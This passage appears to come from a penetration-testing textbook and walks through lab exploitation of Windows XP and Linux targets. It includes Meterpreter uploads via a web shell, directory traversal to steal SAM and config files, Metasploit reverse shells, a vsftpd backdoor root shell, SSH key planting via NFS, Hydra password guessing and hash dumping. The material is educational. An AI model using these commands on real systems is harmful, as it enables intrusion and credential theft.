On Linux, we could use wget to download files from the command line.
This functionality is painfully absent on Windows, but we can use TFTP on
Windows XP. Let’s use it to upload meterpreter.php from the previous section.
Note

TFTP is not the only way we can transfer files with noninteractive command line access. In fact, some newer Windows systems do not have TFTP enabled by default.
You can also have FTP read settings from a file with the -s option or use a scripting language such as Visual Basic or Powershell on the latest Windows operating systems. We can use the Atftpd TFTP server to host files on our Kali system.
Start Atftpd in daemon mode, serving files from the location of your meterpreter.php script. root@kali:~# atftpd --daemon --bind-address 192.168.20.9 /tmp

Set the cmd parameter in the shell.php script as follows: http://192.168.20.10/shell.php?cmd=tftp 192.168.20.9 get meterpreter.php
C:\\xampp\\htdocs\\meterpreter.php

Exploitation 187

This command should pull down meterpreter.php to the target’s Apache directory using TFTP, as shown in Figure 8-4.

Figure 8-4: Transferring files with TFTP

Now we can browse to http://192.168.20.10/meterpreter.php to open a
Meterpreter shell. (Be sure to restart the handler to catch the Meterpreter connection before executing the script.) And as you can see, though we used an attack different from uploading a file through WebDAV, we ended up in the same place: We have a Meterpreter shell from the web server using its access to the MySQL server to upload files.
Now let’s look at attacking the other web server on the Windows XP system. note

This is not the only way we could exploit database access. For example, if you find a
Microsoft MS SQL database instead, you may be able to use the xp_cmdshell() function, which acts as a built-in system command shell. For security reasons, it is disabled on newer versions of MS SQL, but a user with administrative privileges should be able to reenable it, giving you shell access without having to upload anything.

Downloading Sensitive Files
Recall from Chapter 6 that our Zervit server on port 3232 has a directory traversal issue that will allow us to download files from the remote system without authentication. We can download the Windows boot.ini configuration file (and other files, too) through the browser with the following URL: http://192.168.20.10:3232/index.html?../../../../../../boot.ini We’ll use this ability to pull files containing password hashes (encrypted passwords) for Windows, as well as installed services.

Downloading a Configuration File
The default install location for XAMPP is C:\xampp, so we can expect the directory for FileZilla FTP server to be at C:\xampp\FileZillaFtp. A little online research on FileZilla tells us that it stores MD5 hashes of passwords in the FileZilla Server.xml configuration file. Depending on the strength of the FTP passwords stored in this file, we may be able to use the MD5 hash value to recover users’ plaintext FTP passwords.
We captured the password for user georgia in Chapter 7, but our target may contain additional accounts. Let’s use the Zervit server to download the FileZilla configuration file from http://192.168.20.10:3232/index.html?
../../../../../../xampp/FileZillaFtp/FileZilla%20Server.xml. (Note that %20 is

188 Chapter 8

hex encoding for a space.) You can see some of the contents of the file in
Listing 8-4.
<User Name="georgia">
<Option Name="Pass">5f4dcc3b5aa765d61d8327deb882cf99</Option>
<Option Name="Group"/>
<Option Name="Bypass server userlimit">0</Option>
<Option Name="User Limit">0</Option>
<Option Name="IP Limit">0</Option>
--snip-Listing 8-4: FileZilla FTP configuration file

As you can see, the configuration file contains two user accounts (in the User Name fields): georgia and newuser. Now all we have to do is figure out their passwords based on the stored hashes.
We’ll look at turning password hashes back into plaintext passwords
(including MD5 hashes) in the next chapter.

Downloading the Windows SAM
Speaking of passwords, in addition to the FTP user passwords, we can try pulling down the Windows Security Accounts Manager (SAM) file that stores
Windows hashes. The SAM file is obfuscated because the Windows Syskey utility encrypts the password hashes inside the SAM file with 128-bit Rivest
Cipher 4 (RC4) to provide additional security. Even if an attacker or pentester is able to gain access to the SAM file, there is a bit more work to do to recover the password hashes. We need a key to reverse the RC4 encryption on the hashes. The encryption key for the Syskey utility, called the bootkey, is stored inside of the Windows SYSTEM file. We need to download both the SAM and SYSTEM files to recover the hashes and attempt to reverse them into plaintext passwords. In Windows XP, these files are located at
C:\Windows\System32\config, so let’s try downloading the SAM file from the following URL: http://192.168.20.10:3232/index.html?../../../../../../WINDOWS/system32/config/sam When we try to use Zervit to download this file, we get a “file not found” error. It looks like our Zervit server doesn’t have access to this file.
Luckily, Windows XP backs up both the SAM and SYSTEM files to the
C:\Windows\repair directory, and if we try to pull down the files from there,
Zervit is able to serve them. These URLs should do the trick: http://192.168.20.10:3232/index.html?../../../../../../WINDOWS/repair/system http://192.168.20.10:3232/index.html?../../../../../../WINDOWS/repair/sam

Note

Like our MD5 hashes, we’ll use the Windows SAM file in the next chapter when we cover password attacks in depth.

Exploitation 189

Exploiting a Buffer Overflow in Third-Party Software
In Chapter 6, we never did find out for sure if the SLMail server on our
Windows XP target is vulnerable to the POP3 issue CVE-2003-0264. The version number reported by SLMail (5.5) appears to line up with the vulnerability, so let’s try exploiting it. The corresponding Metasploit module, windows/pop3/seattlelab_pass, has a rank of great. (A ranking that high is unlikely to crash the service if it fails.)
Windows/pop3/seattlelab_pass attempts to exploit a buffer overflow in the
POP3 server. Using it is similar to setting up the MS08-067 exploit, as shown in Listing 8-5. msf > use windows/pop3/seattlelab_pass msf exploit(seattlelab_pass) > show payloads
Compatible Payloads
===================
Name
---generic/custom
generic/debug_trap
--snip--

Disclosure Date
---------------

Rank
---normal
normal

Description
----------Custom Payload
Generic x86 Debug Trap

msf exploit(seattlelab_pass) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(seattlelab_pass) > show options
Module options (exploit/windows/pop3/seattlelab_pass):
Name
---RHOST
RPORT

Current Setting
--------------192.168.20.10
110

Required
-------yes
yes

Description
----------The target address
The target port

Payload options (windows/meterpreter/reverse_tcp):
Name
---EXITFUNC
LHOST
LPORT

Current Setting
--------------thread
4444

Required
-------yes
yes yes Description
----------Exit technique: seh, thread, process, none
The listen address
The listen port

Exploit target:
Id
-0

Name
---Windows NT/2000/XP/2003 (SLMail 5.5)

msf exploit(seattlelab_pass) > set RHOST 192.168.20.10
RHOST => 192.168.20.10

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msf exploit(seattlelab_pass) > set LHOST 192.168.20.9
LHOST => 192.168.20.9 msf exploit(seattlelab_pass) > exploit
[*] Started reverse handler on 192.168.20.9:4444
[*] Trying Windows NT/2000/XP/2003 (SLMail 5.5) using jmp esp at 5f4a358f
[*] Sending stage (752128 bytes) to 192.168.20.10
[*] Meterpreter session 4 opened (192.168.20.9:4444 -> 192.168.20.10:1566) at 2015-01-07
19:57:22 -0500 meterpreter >
Listing 8-5: Exploiting SLMail 5.5 POP3 with Metasploit

Running this exploit should give us another Meterpreter session on the Windows XP target—yet another way to take control of the system.
(In Chapter 13, which covers post exploitation, we’ll see what to do once we have a Meterpreter session on a target.)

Exploiting Third-Party Web Applications
In Chapter 6, we used the Nikto web scanner against our Linux target and discovered an installation of the TikiWiki CMS software version 1.9.8 with a code execution vulnerability in the script graph_formula.php. A search for
TikiWiki in Metasploit returns several modules, as shown in Listing 8-6. msf exploit(seattlelab_pass) > search tikiwiki

Matching Modules
================
Name
Disclosure Date
Rank
Description
--------------------------------snip-uexploit/unix/webapp/tikiwiki_graph_formula_exec 2007-10-10 00:00:00 UTC excellent TikiWiki graph_ formula Remote
PHP Code
Execution
exploit/unix/webapp/tikiwiki_jhot_exec
2006-09-02 00:00:00 UTC excellent TikiWiki jhot
Remote Command
Execution
--snip-msf

exploit(seattlelab_pass) > info unix/webapp/tikiwiki_graph_formula_exec

Name: TikiWiki tiki-graph_formula Remote PHP Code Execution
Module: exploit/unix/webapp/tikiwiki_graph_formula_exec
--snip-TikiWiki (<= 1.9.8) contains a flaw that may allow a remote attacker to execute arbitrary PHP code. The issue is due to
'tiki-graph_formula.php' script not properly sanitizing user input supplied to create_function(), which may allow a remote attacker to execute arbitrary PHP code resulting in a loss of integrity.
Exploitation 191

References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=2007-5423 http://www.osvdb.org/40478v http://www.securityfocus.com/bid/26006 Listing 8-6: TikiWiki exploit information

Based on the module names, unix/webapp/tikiwiki_graph_formula_exec u looks like the one we need because it has graph_formula in its name. Our assumption is confirmed when we run info on the module. The OSVDB number v listed in the references for unix/webapp/tikiwiki_graph_formula_ exec matches our Nikto output from Chapter 6.
The options for this module are different from our previous exploit examples, as shown in Listing 8-7. exploit(seattlelab_pass) > use unix/webapp/tikiwiki_graph_formula_exec exploit(tikiwiki_graph_formula_exec) > show options

msf msf Module options (exploit/unix/webapp/tikiwiki_graph_formula_exec):
Name
---Proxies
RHOST
RPORT
URI
VHOST

Current Setting
---------------

80
/tikiwiki

Required
-------no
yes yes yes no Description
----------Use a proxy chainu
The target address
The target port
TikiWiki directory pathv
HTTP server virtual hostw

Exploit target:
Id
-0

Name
---Automatic

msf exploit(tikiwiki_graph_formula_exec) > set RHOST 192.168.20.11
RHOST => 192.168.20.11
Listing 8-7: Using the TikiWiki exploit

We could set a proxy chain u and/or a virtual host w for the TikiWiki server, but we don’t need to here. We can leave the URI set to the default location /tikiwiki v.
This exploit involves PHP command execution, so naturally, our payloads are PHP based. Using the show payloads command (Listing 8-8) reveals that we can use PHP-based Meterpreter u as we did in our XAMPP exploit. We will also need to set our LHOST option v again.

192 Chapter 8

msf

exploit(tikiwiki_graph_formula_exec) > set payload php/meterpreter/reverse_tcpu payload => php/meterpreter/reverse_tcp

msf exploit(tikiwiki_graph_formula_exec) > set LHOST 192.168.20.9v
LHOST => 192.168.20.110 msf exploit(tikiwiki_graph_formula_exec) > exploit
[*]
[*]
[*]
[*]
[*]

Started reverse handler on 192.168.20.9:4444
Attempting to obtain database credentials...
The server returned
: 200 OK
Server version
: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.6 with Suhosin-Patch
TikiWiki database informations :

db_tiki dbversion host_tiki user_tiki pass_tiki dbs_tiki :
:
:
:
:
:

mysql
1.9
localhost tikiw tikipassword tikiwiki [*] Attempting to execute our payload...
[*] Sending stage (39217 bytes) to 192.168.20.11
[*] Meterpreter session 5 opened (192.168.20.9:4444 -> 192.168.20.11:54324) at 2015-01-07
20:41:53 -0500 meterpreter >
Listing 8-8: Exploiting TikiWiki with Metasploit

As you can see, while exploiting the TikiWiki installation, the Meta­ sploit module discovered the credentials w for the TikiWiki database.
Unfortunately, the MySQL server is not listening on the network, so these credentials cannot be used for additional compromise. Still, we should note them because they might come in handy during post exploitation.

Exploiting a Compromised Service
We noted in Chapter 6 that the FTP server on the Linux target serves a banner for Very Secure FTP 2.3.4, the version replaced with a binary containing a backdoor. Because the official code was eventually restored by the authors of Vsftpd, the only way to find out if the server on our Linux target has the backdoor code is to test it. (We don’t need to worry about potentially crashing the service if it’s not vulnerable: If this server doesn’t have the backdoor code, we’ll just get a login error when we use the smiley face.)
Enter any username you like, and add a :) at the end (see Listing 8-9).
Use anything for the password, as well. If the backdoor is present, it will trigger without valid credentials. root@kali:~# ftp 192.168.20.11
Connected to 192.168.20.11.
220 (vsFTPd 2.3.4)
Exploitation 193

Name (192.168.20.11:root): georgia:)
331 Please specify the password.
Password:
Listing 8-9: Triggering the Vsftpd backdoor

We notice that the login hangs after the password. This tells us that the
FTP server is still processing our login attempt, and if we query the FTP port again, it will continue to respond. Let’s use Netcat to try connecting to port 6200, where the root shell should spawn if the backdoor is present. root@kali:~# nc 192.168.20.11 6200
# whoami root Sure enough, we have a root shell. Root privileges give us total control of our target machine. For example, we can get the system password hashes with the command cat /etc/shadow. Save the password hash for the user georgia
(georgia:$1$CNp3mty6$|RWcT0/PVYpDKwyaWWkSg/:15640:0:99999:7:::)to a file called linuxpasswords.txt. We will attempt to turn this hash into a plaintext password in Chapter 9.

Exploiting Open NFS Shares
At this point we know that the Linux target has exported user georgia’s home folder using NFS and that that share is available to anyone without the need for credentials. But this might not carry much security risk if we cannot use the access to read or write sensitive files.
Recall that when we scanned the NFS mount in Chapter 6, we saw the
.ssh directory. This directory could contain the user’s private SSH keys as well as keys used for authenticating a user over SSH. Let’s see if we can exploit this share. Start by mounting the NFS share on your Kali system. root@kali:~# mkdir /tmp/mount root@kali:~# mount -t nfs -o nolock 192.168.20.11:/export/georgia /tmp/mount

This doesn’t look too promising at first glance because georgia has no documents, pictures, or videos—just some simple buffer overflow examples we will use in Chapter 16. There doesn’t appear to be any sensitive information here, but before we jump to conclusions, let’s see what’s in the .ssh directory. root@kali:~# cd /tmp/mount/.ssh root@kali:/tmp/mount/.ssh# ls authorized_keys id_rsa id_rsa.pub

We now have access to georgia’s SSH keys. The id_rsa file is her private key, and id_rsa.pub is her corresponding public key. We can read or even change these values, and we can write to the SSH file authorized_keys, which
194 Chapter 8

handles a list of SSH public keys that are authorized to log in as the user georgia. And because we have write privileges, we can add our own key here that will allow us to bypass password authentication when logging in to the
Ubuntu target as georgia, as shown in Listing 8-10. root@kali:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
26:c9:b7:94:8e:3e:d5:04:83:48:91:d9:80:ec:3f:39 root@kali
The key's randomart image is:
+--[ RSA 2048]----+
| . o+B .
|
--snip-+-----------------+
Listing 8-10: Generating a new SSH key pair

First, we generate a key on our Kali machine using ssh-keygen. By default our new public key is written to /root/.ssh/id_rsa.pub, and our private key is written to /root/.ssh/id_rsa. We want to add our public key to the authorized_keys file for georgia on Ubuntu.
Next, let’s append the newly generated public key to georgia’s authorized_ keys file. cat out the contents of the /root/.ssh/id_rsa.pub file, and append it to georgia’s authorized_keys file. root@kali:~# cat ~/.ssh/id_rsa.pub >> /tmp/mount/.ssh/authorized_keys

We should now be able to SSH into the Linux target as georgia. Let’s give it a try. root@kali:~# ssh georgia@192.168.20.11 georgia@ubuntu:~$ That worked nicely. We can now successfully authenticate with the
Linux target using public key authentication.
We could also have gained access by copying georgia’s key to the Kali machine. To do so, we first delete the SSH identity we created. root@kali:/tmp/mount/.ssh# rm ~/.ssh/id_rsa.pub root@kali:/tmp/mount/.ssh# rm ~/.ssh/id_rsa

Now, we copy georgia’s private key (id_rsa) and public key (id_rsa.pub) to root’s .ssh directory on Kali, and use the ssh-add command to add the identity to the authentication agent before we try to SSH into the Linux target.

Exploitation 195

root@kali:/tmp/mount/.ssh# cp id_rsa.pub ~/.ssh/id_rsa.pub root@kali:/tmp/mount/.ssh# cp id_rsa ~/.ssh/id_rsa root@kali:/tmp/mount/.ssh# ssh-add
Identity added: /root/.ssh/id_rsa (/root/.ssh/id_rsa) root@kali:/tmp/mount/.ssh# ssh georgia@192.168.20.11
Linux ubuntu 2.6.27-7-generic #1 SMP Fri Oct 24 06:42:44 UTC 2008 i686 georgia@ubuntu:~$ Again, we are able to gain access to the target by manipulating the SSH keys. We started with the ability to read and write files in georgia’s home directory. Now we have a shell on the Linux system as user georgia without needing a password.

Summary
In this chapter we were able to combine the information we gathered in
Chapter 5 with the vulnerabilities discovered in Chapter 6 to exploit multiple compromises on both the Windows XP and Linux targets. We used various techniques, including attacking misconfigured web servers, piggybacking on backdoored software, taking advantage of poor access control to sensitive files, exploiting vulnerabilities in the underlying system, and exploiting issues in third-party software.
Now that we’ve managed to get a foothold in the systems, in the next chapter, let’s turn to cracking the passwords we found on the systems.

196 Chapter 8

9

Pa ss word At tacks

Passwords are often the path of least resistance on pentesting engagements. A client with a strong security program can fix missing Windows patches and out-of-date software, but the users themselves can’t be patched. We’ll look at attacking users when we discuss social engineering in Chapter 11, but if we can correctly guess or calculate a user’s password, we may be able to avoid involving the user in the attack at all. In this chapter we’ll look at how to use tools to automate running services on our targets and sending usernames and passwords. Additionally, we’ll study cracking the password hashes we gained access to in Chapter 8.

Password Management
Companies are waking up to the inherent risks of password-based authentication; brute-force attacks and educated guesses are both serious risks to weak passwords. Many organizations use biometric (fingerprint or retinal

scan-based) or two-factor authentication to mitigate these risks. Even web services such as Gmail and Dropbox offer two-factor authentication in which the user provides a password as well as a second value, such as the digits on an electronic token. If two-factor authentication is not available, using strong passwords is imperative for account security because all that stands between the attacker and sensitive data may come down to a simple string. Strong passwords are long, use characters from multiple complexity classes, and are not based on a dictionary word.
The passwords we use in this book are deliberately terrible, but unfortunately, many users don’t behave much better when it comes to passwords.
Organizations can force users to create strong passwords, but as passwords become more complex, they become harder to remember. Users are likely to leave a password that they can’t remember in a file on their computer, in their smartphone, or even on a Post-it note, because it’s just easier to keep of track them that way. Of course, passwords that can be discovered lying around in plaintext undermine the security of using a strong password.
Another cardinal sin of good password management is using the same password on many sites. In a worst-case scenario, the CEO’s weak password for a compromised web forum might just be the very same one for his or her corporate access to financial documents. Password reuse is something to bear in mind while performing password attacks; you may find the same passwords work on multiple systems and sites.
Password management presents a difficult problem for IT staff and will likely continue to be a fruitful avenue for attackers unless or until passwordbased authentication is phased out entirely in favor of another model.

Online Password Attacks
Just as we used automated scans to find vulnerabilities, we can use scripts to automatically attempt to log in to services and find valid credentials. We’ll use tools designed for automating online password attacks or guessing passwords until the server responds with a successful login. These tools use a technique called brute forcing. Tools that use brute forcing try every possible username and password combination, and given enough time, they will find valid credentials.
The trouble with brute forcing is that as stronger passwords are used, the time it takes to brute-force them moves from hours to years and even beyond your natural lifetime. We can probably find working credentials more easily by feeding educated guesses about the correct passwords into an automated login tool. Dictionary words are easy to remember, so despite the security warnings, many users incorporate them into passwords. Slightly more security-conscious users might put some numbers at the end of their password or maybe even an exclamation point.

198 Chapter 9

Wordlists
Before you can use a tool to guess passwords, you need a list of credentials to try. If you don’t know the name of the user account you want to crack, or you just want to crack as many accounts as possible, you can provide a username list for the password-guessing tool to iterate through.
User Lists
When creating a user list, first try to determine the client’s username scheme.
For instance, if we’re trying to break into employee email accounts, figure out the pattern the email addresses follow. Are they firstname.lastname, just a first name, or something else?
You can look for good username candidates on lists of common first or last names. Of course, the guesses will be even more likely to succeed if you can find the names of your target’s actual employees. If a company uses a first initial followed by a last name for the username scheme, and they have an employee named John Smith, jsmith is likely a valid username. Listing 9-1 shows a very short sample user list. You’d probably want a larger list of users in an actual engagement. root@kali:~# cat userlist.txt georgia john mom james
Listing 9-1: Sample user list

Once you’ve created your list, save the sample usernames in a text file in Kali Linux, as shown in Listing 9-1. You’ll use this list to perform online password attacks in “Guessing Usernames and Passwords with Hydra” on page 202.
Password Lists
In addition to a list of possible users, we’ll also need a password list, as shown in Listing 9-2. root@kali:~# cat passwordfile.txt password Password password1 Password1
Password123
password123
Listing 9-2: Sample password list

Password Attacks 199

Like our username list, this password list is just a very short example
(and one that, hopefully, wouldn’t find the correct passwords for too many accounts in the real world). On a real engagement, you should use a much longer wordlist.
There are many good password lists available on the Internet. Good places to look for wordlists include http://packetstormsecurity.com/Crackers/ wordlists/ and http://www.openwall.com/wordlists/. A few password lists are also built into Kali Linux. For example, the /usr/share/wordlists directory contains a file called rockyou.txt.gz. This is a compressed wordlist. If you unzip the file with the gunzip Linux utility, you’ll have about 140 MB of possible passwords, which should give you a pretty good start. Also, some of the password-cracking tools in Kali come with sample wordlists. For example, the John the Ripper tool (which we’ll use in “Offline Password Attacks” on page 203) includes a wordlist at /usr/share/john/password.lst.
For better results, customize your wordlists for a particular target by including additional words. You can make educated guesses based on information you gather about employees online. Information about spouses, children, pets, and hobbies may put you on the right track. For example, if your target’s CEO is a huge Taylor Swift fan on social media, consider adding keywords related to her albums, her music, or her boyfriends. If your target’s password is TaylorSwift13!, you should be able to confirm it using password guessing long before you have to run a whole precompiled wordlist or a brute-force attempt. Another thing to keep in mind is the language(s) used by your target. Many of your pentesting targets may be global. In addition to making educated guesses based on information you gather while performing reconnaissance, a tool like the ceWL custom wordlist generator will search a company website for words to add to your wordlist. Listing 9-3 shows how you might use ceWL to create a wordlist based on the contents of www.bulbsecurity.com. root@kali:~# cewl --help cewl 5.0 Robin Wood (robin@digininja.org) (www.digininja.org)
Usage: cewl [OPTION] ... URL
--snip---depth x, -d x: depth to spider to, default 2 u
--min_word_length, -m: minimum word length, default 3 v
--offsite, -o: let the spider visit other sites
--write, -w file: write the output to the file w
--ua, -u user-agent: useragent to send
--snip-URL: The site to spider. root@kali:~# cewl -w bulbwords.txt -d 1 -m 5 www.bulbsecurity.com x
Listing 9-3: Using ceWL to build custom wordlists

200 Chapter 9

The command ceWL --help lists ceWL’s usage instructions. Use the -d
(depth) option u to specify how many links ceWL should follow on the target website. If you think that your target has a minimum password-size requirement, you might specify a minimum word length to match with the
-m option v. Once you’ve made your choices, output ceWL’s results to a file with the -w option w. For example, to search www.bulbsecurity.com to depth
1 with minimum word length of 5 characters and output the words found to the file bulbwords.txt, you would use the command shown at x. The resulting file would include all words found on the site that meet your specifications.
Another method for creating wordlists is producing a list of every possible combination of a given set of characters, or a list of every combination of characters for a specified number of characters. The tool Crunch in Kali will generate these character sets for you. Of course, the more possibilities, the more disk space is required for storage. A very simple example of using
Crunch is shown in Listing 9-4. root@kali:~# crunch 7 7 AB
Crunch will now generate the following amount of data: 1024 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 128
AAAAAAA
AAAAAAB
--snip-Listing 9-4: Brute-forcing a keyspace with Crunch

This example generates a list of all the possible seven-character combinations of just the characters A and B. A more useful, but much, much larger example would be entering crunch 7 8, which would generate a list of all the possible combinations of characters for a string between seven and eight characters in length, using the default Crunch character set of lowercase letters. This technique is known as keyspace brute-forcing. While it is not feasible to try every possible combination of characters for a password in the span of your natural life, it is possible to try specific subsets; for instance, if you knew the client’s password policy requires passwords to be at least seven characters long, trying all seven- and eight-character passwords would probably result in cracking success—even among the rare users who did not base their passwords on a dictionary word.
Note

Developing a solid wordlist or set of wordlists is a constantly evolving process. For the exercises in this chapter, you can use the short sample wordlist we created in Listing 9-2, but as you gain experience in the field, you’ll develop more complex lists that work well on client engagements.
Now let’s see how to use our wordlist to guess passwords for services running on our targets.

Password Attacks 201

Guessing Usernames and Passwords with Hydra
If you have a set of credentials that you’d like to try against a running service that requires a login, you can input them manually one by one or use a tool to automate the process. Hydra is an online password-guessing tool that can be used to test usernames and passwords for running services. (Following the tradition of naming security tools after the victims of Heracles’s labors,
Hydra is named for the mythical Greek serpent with many heads.) Listing 9-5 shows an example of using Hydra for online password guessing. root@kali:~# hydra -L userlist.txt -P passwordfile.txt 192.168.20.10 pop3
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2015-01-12 15:29:26
[DATA] 16 tasks, 1 server, 24 login tries (l:4/p:6), ~1 try per task
[DATA] attacking service pop3 on port 110
[110][pop3] host: 192.168.20.10 login: georgia password: passwordu
[STATUS] attack finished for 192.168.20.10 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-01-12 15:29:48
Listing 9-5: Using Hydra to guess POP3 usernames and passwords

Listing 9-5 shows how to use Hydra to guess usernames and passwords by running through our username and password files to search for valid
POP3 credentials on our Windows XP target. This command uses the -L flag to specify the username file, the -P for the password list file, and specifies the protocol pop3. Hydra finds that user georgia’s password is password at
u. (Shame on georgia for using such an insecure password!)
Sometimes you’ll know that a specific username exists on a server, and you just need a valid password to go with it. For example, we used the SMTP
VRFY verb to find valid usernames on the SLMail server on the Windows XP target in Chapter 6. As you can see in Listing 9-6, we can use the -l flag instead of -L to specify one particular username. Knowing that, let’s look for a valid password for user georgia on the pop3 server. root@kali:~# hydra -l georgia -P passwordfile.txt 192.168.20.10 pop3
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
[DATA] 16 tasks, 1 server, 24 login tries (l:4/p:6), ~1 try per task
[DATA] attacking service pop3 on port 110
[110][pop3] host: 192.168.20.10 login: georgia password: passwordu
[STATUS] attack finished for 192.168.20.10 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-01-07 20:22:23
Listing 9-6: Using a specific username with Hydra

Hydra found georgia’s password to be password u.
Now, in Listing 9-7, we’ll use our credentials to read georgia’s email. root@kali:~# nc 192.168.20.10 pop3
+OK POP3 server xpvictim.com ready <00037.23305859@xpvictim.com>

202 Chapter 9

USER georgia
+OK georgia welcome here
PASS password
+OK mailbox for georgia has 0 messages (0 octets)
Listing 9-7: Using Netcat to log in with guessed credentials

Specify the pop3 protocol, and provide the username and password when prompted. (Unfortunately, there are no love letters in this particular inbox.) Hydra can perform online password guessing against a range of services. (See its manual page for a complete list.) For example, here we use the credentials we found with Hydra to log in with Netcat.
Keep in mind that most services can be configured to lock out accounts after a certain number of failed login attempts. There are few better ways to get noticed by a client’s IT staff than suddenly locking out several user accounts. Logins in rapid succession can also tip off firewalls and intrusionprevention systems, which will get your IP address blocked at the perimeter.
Slowing down and randomizing scans can help with this, but there is, of course, a tradeoff: Slower scans will take longer to produce results.
One way to avoid having your login attempts noticed is to try to guess a password before trying to log in, as you’ll learn in the next section.

Offline Password Attacks
Another way to crack passwords (without being discovered) is to get a copy of the password hashes and attempt to reverse them back to plaintext passwords. This is easier said than done because hashes are designed to be the product of a one-way hash function: Given an input, you can calculate the output using the hash function, but given the output, there is no way to reliably determine the input. Thus, if a hash is compromised, there should be no way to calculate the plaintext password. We can, however, guess a password, hash it with the one-way hash function, and compare the results to the known hash. If the two hashes are the same, we’ve found the correct password. Note

As you’ll learn in “LM vs. NTLM Hashing Algorithms” on page 208, not all password hashing systems have stood the test of time. Some have been cracked and are no longer considered secure. In these cases, regardless of the strength of the password chosen, an attacker with access to the hashes will be able to recover the plaintext password in a reasonable amount of time.
Of course, it’s even better if you can get access to passwords in plaintext and save yourself the trouble of trying to reverse the cryptography, but often the passwords you encounter will be hashed in some way. In this section we’ll focus on finding and reversing password hashes. If you stumble upon a program configuration file, database, or other file that stores passwords in plaintext, all the better.
But before we can try to crack password hashes, we have to find them.
We all hope that the services that store our passwords do a good job of
Password Attacks 203

protecting them, but that’s never a given. It only takes one exploitable flaw or a user who falls victim to a social-engineering attack (discussed in Chapter 11) to bring down the whole house of cards. You’ll find plenty of password hashes lying around sites like Pastebin, remnants from past security breaches.
In Chapter 8, we gained access to some password hashes on the Linux and Windows XP targets. Having gained a Meterpreter session with system privileges on the Windows XP system via the windows/smb/ms08_067_netapi
Metasploit module, we can use the hashdump Meterpreter command to print the hashed Windows passwords, as shown in Listing 9-8. meterpreter > hashdump
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
georgia:1003:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:df40c521ef762bb7b9767e30ff112a3c:938ce7d211ea733373bcfc3e6fbb3641::: secret:1004:e52cac67419a9a22664345140a852f61:58a478135a93ac3bf058a5ea0e8fdb71::: SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:bc48640a0fcb55c6ba1c9955080a52a8:::
Listing 9-8: Dumping password hashes in Meterpreter

Save the output of the hashdump to a file called xphashes.txt, which we will use in “John the Ripper” on page 210.
In Chapter 8 we also downloaded backups of the SAM and SYSTEM hives using the local file inclusion issue in Zervit 0.4 on the Windows XP system. We used this same issue to download the configuration file for the FileZilla FTP server, which contained passwords hashed with the MD5 algorithm. On the Linux target, the Vsftpd smiley-face backdoor gave us root privileges, and thus we can access to the file /etc/shadow, which stores
Linux password hashes. We saved the password for user georgia to the file linuxpasswords.txt. Recovering Password Hashes from a Windows SAM File
The SAM file stores hashed Windows passwords. Though we were able to use
Meterpreter to dump the password hashes from the Windows XP system (as shown previously), sometimes you’ll be able to get only the SAM file.
We weren’t able to get access to the primary SAM file through the
Zervit 0.4 vulnerability, but we were able to download a backup copy from the C:\Windows\repair directory using a local file-inclusion vulnerability. But when we try to read the SAM file (as shown in Listing 9-9), we don’t see any password hashes. root@bt:~# cat sam regf P P5gfhbin����nk,�u����� ���� ���������x����SAMX���skx x � �p�µ\µ?
?
µ µ ����nk L���� �B���� �x �����SAM����skxx7d
�HXµ4µ?
����vk � CP��� � µ�x�µD0�µ
�µ��­ 4µ1
?
�����
����lf
SAM����nk �u�����
H#���� Px ����Domains����vk�����8lf �Doma����nk
\��J��� ������0x ����( Account����vk ��
--snip-Listing 9-9: Viewing the SAM file

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The SAM file is obfuscated because the Windows Syskey utility encrypts the password hashes inside the SAM file with 128-bit Rivest Cipher 4 (RC4) to provide additional security. Even if an attacker or pentester can gain access to the SAM file, there’s a bit more work to do before we can recover the password hashes. Specifically, we need a key to reverse the encrypted hashes.
The encryption key for the Syskey utility is called the bootkey, and it’s stored in the Windows SYSTEM file. You’ll find a copy of the SYSTEM file in the C:\Windows\repair directory where we found the backup SAM file. We can use a tool in Kali called Bkhive to extract the Syskey utility’s bootkey from the
SYSTEM file so we can decrypt the hashes, as shown in Listing 9-10. root@kali:~# bkhive system xpkey.txt bkhive 1.1.1 by Objectif Securite http://www.objectif-securite.ch original author: ncuomo@studenti.unina.it
Root Key : $$$PROTO.HIV
Default ControlSet: 001
Bootkey: 015777ab072930b22020b999557f42d5
Listing 9-10: Using Bkhive to extract the bootkey

Here we use Bkhive to extract the bootkey by passing in the SYSTEM file system (the file we downloaded from the repair directory using the
Zervit 0.4 directory traversal) as the first argument and extracting the file to xpkey.txt. Once we have the bootkey, we can use Samdump2 to retrieve the password hashes from the SAM file, as shown in Listing 9-11. Pass
Samdump2 the location of the SAM file and the bootkey from Bkhive as arguments, and it will use the bootkey to decrypt the hashes. root@kali:~# samdump2 sam xpkey.txt samdump2 1.1.1 by Objectif Securite http://www.objectif-securite.ch original author: ncuomo@studenti.unina.it
Root Key : SAM
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:df40c521ef762bb7b9767e30ff112a3c:938ce7d211ea733373bcfc3e6fbb3641:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:bc48640a0fcb55c6ba1c9955080a52a8:::
Listing 9-11: Using Samdump2 to recover Windows hashes

